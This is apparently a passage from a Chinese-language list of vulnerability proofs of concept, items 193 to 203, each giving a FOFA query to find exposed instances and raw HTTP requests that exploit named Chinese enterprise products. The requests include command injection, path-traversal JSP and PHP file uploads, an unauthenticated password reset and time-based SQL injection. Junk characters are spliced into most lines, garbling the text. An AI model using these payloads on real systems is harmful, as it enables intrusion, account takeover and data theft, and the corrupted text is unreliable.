1 [# X: F3 v7 `* y5 }

' T/ [' s5 K0 c; f+ O<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
  F4 T4 X" x9 D9 o; w. _; o5 x3 z) k5 P{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
0 x! C! l+ i" m* h" w# T& mctx.Response.Write("test");
/ Y: R$ ?: k" o: I3 Y, L; P}
$ T/ t2 I  T/ A  B: v$ `1 M}


8 n9 B/ f2 H" j0 G193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
6 d1 {0 M' F5 dGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
7 M! f5 f0 {5 U, bCookie: PHPSESSID=2333333333333;
5 y+ O9 u" t" y. k. @Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

3 \# ?+ V. o5 R
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
, L4 C- L9 t7 \; {1 C+ UHost:
User-Agent: Mozilla/5.0
$ d: g/ E7 Q! B8 ?Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
- Q8 a6 v1 H. K/ {

GET /master/img/config HTTP/1.1
$ T" X! x4 |4 g% sHost:
6 D1 v( t  e: ?User-Agent: Mozilla/5.0

/ k4 s+ J! H2 [2 |) X: _4 N8 s
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
; `2 O8 D9 z# v4 J# y. ?2 sFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
' a4 c  p1 D& VHost: host
2 w- L; F- L' k; m, Z% [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
1 b" ?+ D) O, ^; R! `2 _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 U) ^( ]$ ^8 [. R; _------WebKitFormBoundaryKNt0t4vBe8cX9rZk
4 |* W. V$ X0 W. c5 d. O
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
$ ?5 t: d3 u; P  KContent-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
; I* y; {2 ^7 b8 M& Y {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
+ }6 g" H  A+ s7 [8 R

195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
% ^. w( b0 R3 ]) gPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
0 I' ~! f/ ^1 v8 v# h5 P# P3 qAccept-Encoding: gzip, deflate
: G, \2 m7 Q; l0 ZAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

* q6 y* w9 E+ M& m- x; L{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
( u3 r+ }! f& n  C
! Z/ `) f$ D: N, m, e6 ^0 Q
( t/ b: D5 J- s& @6 \0 C196. 河南省风速科技统一认证平台密码重置
6 ]0 l6 `7 {" f4 E8 g/ g' FFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
! l3 k. G* Z, j' ]! `! ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
( Q; E6 d) ^# BContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
2 T! f  D; [8 |+ o& cHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

' R; e# f4 G6 T1 O{"xgh":"test","newPass":"test666","email":""}
3 Y" j8 d, Q: q  H


197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
: @  J% _3 m/ M+ r5 L3 m6 LGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
; I4 c8 O9 A; XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
8 _* Q% h8 r, D7 D: U6 T

  E2 Z! h9 |: C' t! ~
198.  阿里云盘 WebDAV 命令注入
% }" A! Q$ r. K4 oCVE-2024-29640
0 X! t* Y; u* t0 @% M1 G) eGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
# ]# e4 F2 P0 `5 HCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
' r5 t! g6 z0 j) A% K+ Y# E9 i, [Accept: */*
5 h/ S, J: T( G; d& eAccept-Encoding: gzip, deflate
0 H$ F* N- t* s8 }7 pAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
& m; g+ @9 V8 |7 i% bConnection: close
  f$ g( g2 P) i( o5 T/ b

% O: n" m* S. B5 r* V* [9 f8 ^199. cockpit系统assetsmanager_upload接口 文件上传
0 A4 ^8 |$ k  w6 {8 \
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
2 T7 ?" [. i/ U) g6 E, t# a4 FGET /auth/login?to=/ HTTP/1.1
) ?* g$ S5 d' \" Q, f/ J$ Y
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
3 Y, Y8 y  a9 X" `3 H
0 r, B; C) h& m2 }5 ?& N' X( T2.使用刚才上一步获取到的jwt获取cookie：
. A4 f% |; l4 |" a- V) X% Z5 j' L0 ~
POST /auth/check HTTP/1.1
+ |9 ?. i: `* X6 gContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

1 x8 j5 }( e1 r5 [响应：200，返回值:
6 L: m2 c8 Y/ @8 q( ?0 r3 |Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
  `. A, K! a1 WPOST /assetsmanager/upload HTTP/1.1
& C. _. L" e) S) f: b$ WContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
& Y" }: @% @7 L9 m' D! hContent-Type: text/php
* m" j' O: [( l' |: e" f$ Z
" E; k" S3 M+ ^0 M<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

2 B; I$ Y: R' y+ m, L$ O  G+ M-----------------------------36D28FBc36bd6feE7Fb3--
4 d7 O* h$ a- \7 @! z' `

9 l9 s. m5 P- z! P/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
( h$ d/ b$ ~8 V% lFOFA：app="海洋CMS"
, w9 B4 {% Y2 oGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
. d- n! c# C' ]" T$ y9 K) N! X, [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

; n5 K# d( S/ h7 A+ w5 ?3 h. E
! k+ l  w5 J, b) ~- n$ ~' E201. 方正全媒体新闻采编系统 binary SQL注入
' ^) Y- c  e- q6 U) |" K. ZFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
; s+ u& }7 ^; u: ?/ M. B" l8 P  `Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 a' Y# z! @' r" ]6 `  [7 g, hAccept-Encoding: gzip, deflate
# b# ~' Q/ F0 w$ ], {Accept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
5 D( o: u+ m" ]

3 A; D" y7 ]; ^& }. l" u* O202. 微擎系统 AccountEdit任意文件上传
: k3 X* U+ f) Y5 xFOFA：body="/Widgets/WidgetCollection/"
& [% A3 |8 _, r* Q, l获取__VIEWSTATE和__EVENTVALIDATION值
8 O/ }6 H$ m: k  `. D3 M* mGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
  M' P! g2 _5 N5 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
; H  g1 y, p5 f3 I% z, p- |0 nContent-Length: 0

( b/ w$ Z; Z5 x' Y1 N$ M
' U& v. N, K1 M2 e( U( @- P替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
( R2 `9 Y/ K" g3 ^" oAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
; E$ E6 {3 f/ c: h6 `" OContent-Disposition: form-data; name="__VIEWSTATE"

3 w, D" A- M* G$ e: B9 u- f- R__VIEWSTATE
4 W! O4 L# t2 b' c* G; w) K-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
0 u% J8 r/ \, B" H, k
0 i* w* \5 h/ E9 g3 n__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
0 H3 T1 |* z% E7 a- D# p-----------------------------786435874t38587593865736587346567358735687
4 d) |' j4 g. J1 L, gContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
+ s$ v' G$ M% v9 w! ^
上传图片
# H1 |* d7 [- y8 `8 q9 e0 g-----------------------------786435874t38587593865736587346567358735687
. \" H1 S  Z, l- b$ r: |7 bContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

; X! B, D- R+ `( A* j
# ]9 X$ X# u1 k) v7 m7 u( q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--


% F# W9 v5 u; {) U1 m/_data/Uploads/1123.txt
; V5 r0 H8 S$ s  W
203. 红海云EHR PtFjk 文件上传
/ J% Q; l- D& L7 @$ l; eFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
2 W, L' y' ^  H1 o  uHost: x.x.x.x
( X- i) N9 R  Z  e, @Accept-Encoding: gzip
9 {3 z5 i+ }8 d  DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ F: Z/ }# S  o# l2 L1 R# m# MContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
9 I" G$ N: ~6 r
5 u" l8 `: j( v5 `------WebKitFormBoundaryt7WbDl1tXogoZys4
* a' f* O; Y$ l# ~4 g, ]Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
9 [7 X9 L- b" S
<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--


' w7 A2 e6 K# C

7 X' O) N* G8 \5 O' ^
  y5 p7 N! B: Y1 {1 D* L/ g  W  \